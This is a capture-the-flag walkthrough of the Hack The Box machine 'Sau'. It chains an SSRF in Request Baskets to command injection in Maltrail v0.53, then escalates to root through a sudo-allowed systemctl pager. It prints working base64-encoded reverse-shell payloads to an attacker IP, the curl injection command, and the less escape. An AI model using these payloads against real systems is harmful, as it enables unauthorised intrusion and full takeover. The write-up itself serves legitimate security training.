Post

Sau

Sau

Recon

Port Discovery

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
sudo nmap -PN -sC -sV -oN sau 10.10.11.224 
[sudo] password for kali: 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-26 16:51 PKT
Nmap scan report for 10.10.11.224
Host is up (0.24s latency).
Not shown: 997 closed tcp ports (reset)
PORT      STATE    SERVICE VERSION
22/tcp    open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 aa:88:67:d7:13:3d:08:3a:8a:ce:9d:c4:dd:f3:e1:ed (RSA)
|   256 ec:2e:b1:05:87:2a:0c:7d:b1:49:87:64:95:dc:8a:21 (ECDSA)
|_  256 b3:0c:47:fb:a2:f2:12:cc:ce:0b:58:82:0e:50:43:36 (ED25519)
80/tcp    filtered http
55555/tcp open     http    Golang net/http server
| http-title: Request Baskets
|_Requested resource was /web
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     X-Content-Type-Options: nosniff
|     Date: Sat, 26 Jul 2025 11:28:39 GMT
|     Content-Length: 75
|     invalid basket name; the name does not match pattern: ^[wd-_\.]{1,250}$
|   GenericLines, Help, LPDString, RTSPRequest, SIPOptions, SSLSessionReq, Socks5: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 302 Found
|     Content-Type: text/html; charset=utf-8
|     Location: /web
|     Date: Sat, 26 Jul 2025 11:28:19 GMT
|     Content-Length: 27
|     href="/web">Found</a>.
|   HTTPOptions: 
|     HTTP/1.0 200 OK
|     Allow: GET, OPTIONS
|     Date: Sat, 26 Jul 2025 11:28:20 GMT
|     Content-Length: 0
|   OfficeScan: 
|     HTTP/1.1 400 Bad Request: missing required Host header
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|_    Request: missing required Host header
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port55555-TCP:V=7.95%I=7%D=7/26%Time=6884C159%P=x86_64-pc-linux-gnu%r(G
SF:etRequest,A2,"HTTP/1\.0\x20302\x20Found\r\nContent-Type:\x20text/html;\
SF:x20charset=utf-8\r\nLocation:\x20/web\r\nDate:\x20Sat,\x2026\x20Jul\x20
SF:2025\x2011:28:19\x20GMT\r\nContent-Length:\x2027\r\n\r\n<a\x20href=\"/w
SF:eb\">Found</a>\.\n\n")%r(GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Re
SF:quest\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x
SF:20close\r\n\r\n400\x20Bad\x20Request")%r(HTTPOptions,60,"HTTP/1\.0\x202
SF:00\x20OK\r\nAllow:\x20GET,\x20OPTIONS\r\nDate:\x20Sat,\x2026\x20Jul\x20
SF:2025\x2011:28:20\x20GMT\r\nContent-Length:\x200\r\n\r\n")%r(RTSPRequest
SF:,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;
SF:\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request"
SF:)%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20tex
SF:t/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20
SF:Request")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nCon
SF:tent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\
SF:r\n400\x20Bad\x20Request")%r(FourOhFourRequest,EA,"HTTP/1\.0\x20400\x20
SF:Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nX-Co
SF:ntent-Type-Options:\x20nosniff\r\nDate:\x20Sat,\x2026\x20Jul\x202025\x2
SF:011:28:39\x20GMT\r\nContent-Length:\x2075\r\n\r\ninvalid\x20basket\x20n
SF:ame;\x20the\x20name\x20does\x20not\x20match\x20pattern:\x20\^\[\\w\\d\\
SF:-_\\\.\]{1,250}\$\n")%r(LPDString,67,"HTTP/1\.1\x20400\x20Bad\x20Reques
SF:t\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20cl
SF:ose\r\n\r\n400\x20Bad\x20Request")%r(SIPOptions,67,"HTTP/1\.1\x20400\x2
SF:0Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nCon
SF:nection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(Socks5,67,"HTTP/1\.1
SF:\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=ut
SF:f-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(OfficeScan
SF:,A3,"HTTP/1\.1\x20400\x20Bad\x20Request:\x20missing\x20required\x20Host
SF:\x20header\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnecti
SF:on:\x20close\r\n\r\n400\x20Bad\x20Request:\x20missing\x20required\x20Ho
SF:st\x20header");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 53.34 seconds

We have the following ports open:

  1. 22 - SSH
  2. 80 - Filtered HTTP (inaccessible)
  3. 55555 - Request Baskets HTTP website.

On port 55555, we are greeted by Request Baskets version 1.2.1. A single google search tells us it’s vulnerable to SSRF.

alt text

Messing with baskets

It seems like this basket acts like a collection/logs of requests.

alt text

On clicking the Settings button we can see that we could forward those requests. Let’s try forwarding it to our host.

Add this to Forward URL:

http://10.10.16.13:1234

Start a nc listener, and:

1
2
3
4
5
6
7
8
9
10
11
curl http://sau.htb:55555/ion6s0x

nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.16.13] from (UNKNOWN) [10.10.11.224] 35514
GET / HTTP/1.1
Host: 10.10.16.13:1234
User-Agent: curl/8.14.1
Accept: */*
X-Do-Not-Forward: 1
Accept-Encoding: gzip

SSRF

What if we trick the server into leaking it’s own internal resources by forwarding requests to 127.0.0.1?

Well the request definitely goes through and shows on the basket as well.

Let’s reconfigure it to Proxy Response as well.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
curl http://sau.htb:55555/ion6s0x
<!DOCTYPE html>
<html lang="en">
    <head>
        <meta http-equiv="X-UA-Compatible" content="IE=edge">
        <meta http-equiv="Content-Type" content="text/html;charset=utf8">
        <meta name="viewport" content="width=device-width, user-scalable=no">
        <meta name="robots" content="noindex, nofollow">
        <title>Maltrail</title>
        <link rel="stylesheet" type="text/css" href="css/thirdparty.min.css">
        <link rel="stylesheet" type="text/css" href="css/main.css">
        <link rel="stylesheet" type="text/css" href="css/media.css">
        <script type="text/javascript" src="js/errorhandler.js"></script>
        <script type="text/javascript" src="js/thirdparty.min.js"></script>
        <script type="text/javascript" src="js/papaparse.min.js"></script>
    </head>
    <body>
        <div id="header_container" class="header noselect">
            <div id="logo_container">
                <span id="logo"><img src="images/mlogo.png" style="width: 25px">altrail</span>
            </div>
            <div id="calendar_container">
                <center><span id="spanToggleHeatmap" style="cursor: pointer"><a class="header-a header-period" id="period_label"></a><img src="images/calendar.png" style="width: 25px; height: 25px; vertical-align: top"></span></center>
            </div>
            <ul id="link_container">
                <li class="header-li"><a class="header-a" href="https://github.com/stamparm/maltrail/blob/master/README.md" id="documentation_link" target="_blank">Documentation</a></li>
                <li class="header-li link-splitter">|</li>
                <li class="header-li"><a class="header-a" href="https://github.com/stamparm/maltrail/wiki" id="wiki_link" target="_blank">Wiki</a></li>
                <li class="header-li link-splitter">|</li>
<!--                <li class="header-li"><a class="header-a" href="https://docs.google.com/spreadsheets/d/1lJfIa1jPZ-Vue5QkQACLaAijBNjgRYluPCghCVBMtHI/edit" id="collaboration_link" target="_blank">Collaboration</a></li>
                <li class="header-li link-splitter">|</li>-->
                <li class="header-li"><a class="header-a" href="https://github.com/stamparm/maltrail/issues/" id="issues_link" target="_blank">Issues</a></li>
                <li class="header-li link-splitter hidden" id="login_splitter">|</li>
                <li class="header-li"><a class="header-a hidden" id="login_link">Log In</a></li>
                <li class="header-li"></li>
            </ul>
        </div>

        <div id="heatmap_container" class="container hidden" style="text-align: center">
            <div>
                <button id="heatmap-previous" class="ui-button ui-widget ui-state-default ui-corner-all ui-button-text-only" type="button" role="button">
                    <span class="ui-icon ui-icon-carat-1-w"></span>
                </button>
                <button id="heatmap-next" class="ui-button ui-widget ui-state-default ui-corner-all ui-button-text-only" type="button" role="button">
                    <span class="ui-icon ui-icon-carat-1-e"></span>
                </button>
            </div>

            <div style="display: inline-block; float: top; vertical-align: top; margin-top: 5px">
                <div id="cal-heatmap" style="display: inline-block"></div>
            </div>
        </div>

        <div id="main_container" class="container hidden">
            <div id="status_container" style="width: 100%; text-align: center">
                <div>
                    <ul style="list-style: outside none none; overflow: hidden; font-family: sans-serif; padding: 0px; display: inline-block; white-space: nowrap">
                        <li id="btnDrawThreats" class="status-button noselect" style="background: rgb(31, 119, 180); background: radial-gradient(rgb(174, 199, 232) 0%, rgb(31, 119, 180) 100%) repeat scroll 0 0 rgba(0, 0, 0, 0)" title="Threats">
                            <h4 id="threats_count">-</h4>
                            <span class="dynamicsparkline" id="threats_sparkline"></span>
                            <h6>Threats</h6>
                        </li>
                        <li id="btnDrawEvents" class="status-button noselect" style="background: rgb(255, 127, 14); background: radial-gradient(rgb(255, 187, 120) 0%, rgb(255, 127, 14) 100%) repeat scroll 0 0 rgba(0, 0, 0, 0)" title="Events">
                            <h4 id="events_count">-</h4>
                            <span class="dynamicsparkline" id="events_sparkline"></span>
                            <h6>Events</h6>
                        </li>
                        <li id="btnDrawSeverity" class="status-button noselect" style="background: rgb(44, 160, 44); background: radial-gradient(rgb(152, 223, 138) 0%, rgb(44, 160, 44) 100%) repeat scroll 0 0 rgba(0, 0, 0, 0)" title="Severity">
                            <h4 id="severity_count">-</h4>
                            <span class="dynamicsparkline" id="severity_sparkline"></span>
                            <h6>Severity</h6>
                        </li>
                        <li id="btnDrawSources" class="status-button noselect" style="background:rgb(214, 39, 40); background: radial-gradient(rgb(255, 152, 150) 0%, rgb(214, 39, 40) 100%) repeat scroll 0 0 rgba(0, 0, 0, 0)" title="Sources">
                            <h4 id="sources_count">-</h4>
                            <span class="dynamicsparkline" id="sources_sparkline"></span>
                            <h6>Sources</h6>
                        </li>
                        <li id="btnDrawTrails" class="status-button noselect" style="background:rgb(148, 103, 189); background: radial-gradient(rgb(197, 176, 213) 0%, rgb(148, 103, 189) 100%) repeat scroll 0 0 rgba(0, 0, 0, 0)" title="Trails">
                            <h4 id="trails_count">-</h4>
                            <span class="dynamicsparkline" id="trails_sparkline"></span>
                            <h6>Trails</h6>
                        </li>
                    </ul>
                </div>
                <div>
                    <!--<label>title</label>-->
                    <img id="graph_close" src="images/close.png" class="hidden" title="close">
                </div>
                <div id="chart_area">
                </div>
            </div>

            <table width="100%" border="1" cellpadding="2" cellspacing="0" class="display compact" id="details">
            </table>
        </div>

        <noscript>
            <div id="noscript">
                Javascript is disabled in your browser. You must have Javascript enabled to utilize the functionality of this page.
            </div>
        </noscript>

        <div id="bottom_blank"></div>
        <div class="bottom noselect">Powered by <b>M</b>altrail (v<b>0.53</b>)</div>

        <ul class="custom-menu">
            <li data-action="hide_threat">Hide threat</li>
            <li data-action="report_false_positive">Report false positive</li>
        </ul>
        <script defer type="text/javascript" src="js/main.js"></script>
    </body>
</html>

Something that stands out is the title of the document:

1
2
<title>Maltrail</title>
<div class="bottom noselect">Powered by <b>M</b>altrail (v<b>0.53</b>)</div>

If we visit the website:

http://sau.htb:55555/ion6s0x (yes our own basket). Since we have reconfigured it to forward the response of 127.0.0.1 we get the Maltrail page now.

The first result of Maltrail v0.53 is an RCE.

Understanding the exploit

1
2
3
4
5
def curl_cmd(my_ip, my_port, target_url):
	payload = f'python3 -c \'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{my_ip}",{my_port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")\''
	encoded_payload = base64.b64encode(payload.encode()).decode()  # encode the payload in Base64
	command = f"curl '{target_url}' --data 'username=;`echo+\"{encoded_payload}\"+|+base64+-d+|+sh`'"
	os.system(command)
  1. Craft a payload (reverse shell).
  2. Base64 encode it.
  3. curl --data 'username=;\`\`'

Foothold

First let’s reconfigure the basket to forward to http://127.0.0.1/login

Let’s craft our payload from Reverse Shell and encode it:

1
2
echo "sh -i >& /dev/tcp/10.10.16.13/1234 0>&1  " | base64 -w0
c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTYuMTMvMTIzNCAwPiYxICAK

Ensure no special characters like + are there as they could mess with the URL query and curl:

1
curl http://sau.htb:55555/ion6s0x -d 'username=;`echo c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTYuMTMvMTIzNCAwPiYxICAK | base64 -d | bash`'

We now have reverse shell as the user:

1
2
3
4
5
6
┌──(kali㉿vm-kali)-[~/htb/sau]
└─$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.16.13] from (UNKNOWN) [10.10.11.224] 34568
sh: 0: can't access tty; job control turned off
$ python3 -c "import pty; pty.spawn('/bin/bash');"

Privilege Escalation

TTY upgrade the shell.

On checking what our user could run as sudo we see:

1
2
3
4
5
6
7
sudo -l
Matching Defaults entries for puma on sau:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User puma may run the following commands on sau:
    (ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service

/usr/bin/systemctl status trail.service is a specific way to check the current status of a systemd service named trail.service.

Once we run it as sudo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
puma@sau:/opt/maltrail$ sudo /usr/bin/systemctl status trail.service
● trail.service - Maltrail. Server of malicious traffic detection system
     Loaded: loaded (/etc/systemd/system/trail.service; enabled; vendor preset:>
     Active: active (running) since Sun 2025-07-27 10:39:11 UTC; 37min ago
       Docs: https://github.com/stamparm/maltrail#readme
             https://github.com/stamparm/maltrail/wiki
   Main PID: 894 (python3)
      Tasks: 11 (limit: 4662)
     Memory: 29.4M
     CGroup: /system.slice/trail.service
             ├─ 894 /usr/bin/python3 server.py
             ├─1079 /bin/sh -c logger -p auth.info -t "maltrail[894]" "Failed p>
             ├─1080 /bin/sh -c logger -p auth.info -t "maltrail[894]" "Failed p>
             ├─1083 bash
             ├─1084 sh -i
             ├─1085 python3 -c import pty; pty.spawn('/bin/bash');
             ├─1086 /bin/bash
             ├─1205 sudo /usr/bin/systemctl status trail.service
             ├─1206 /usr/bin/systemctl status trail.service
             └─1207 pager

Jul 27 11:13:54 sau sudo[1094]:     puma : TTY=pts/0 ; PWD=/opt/maltrail ; USER>
Jul 27 11:13:54 sau sudo[1094]: pam_unix(sudo:session): session opened for user>
Jul 27 11:14:09 sau sudo[1094]: pam_unix(sudo:session): session closed for user>

We are in the pager, from the pager we can exploit the misconfiguration of sudo:

Less Exploit

Once the pager (less) is invoked, !/bin/bash drops you to root shell.

1
2
!/bin/bash
root@sau:/opt/maltrail# cat /root/root.txt

This post is licensed under CC BY 4.0 by the author.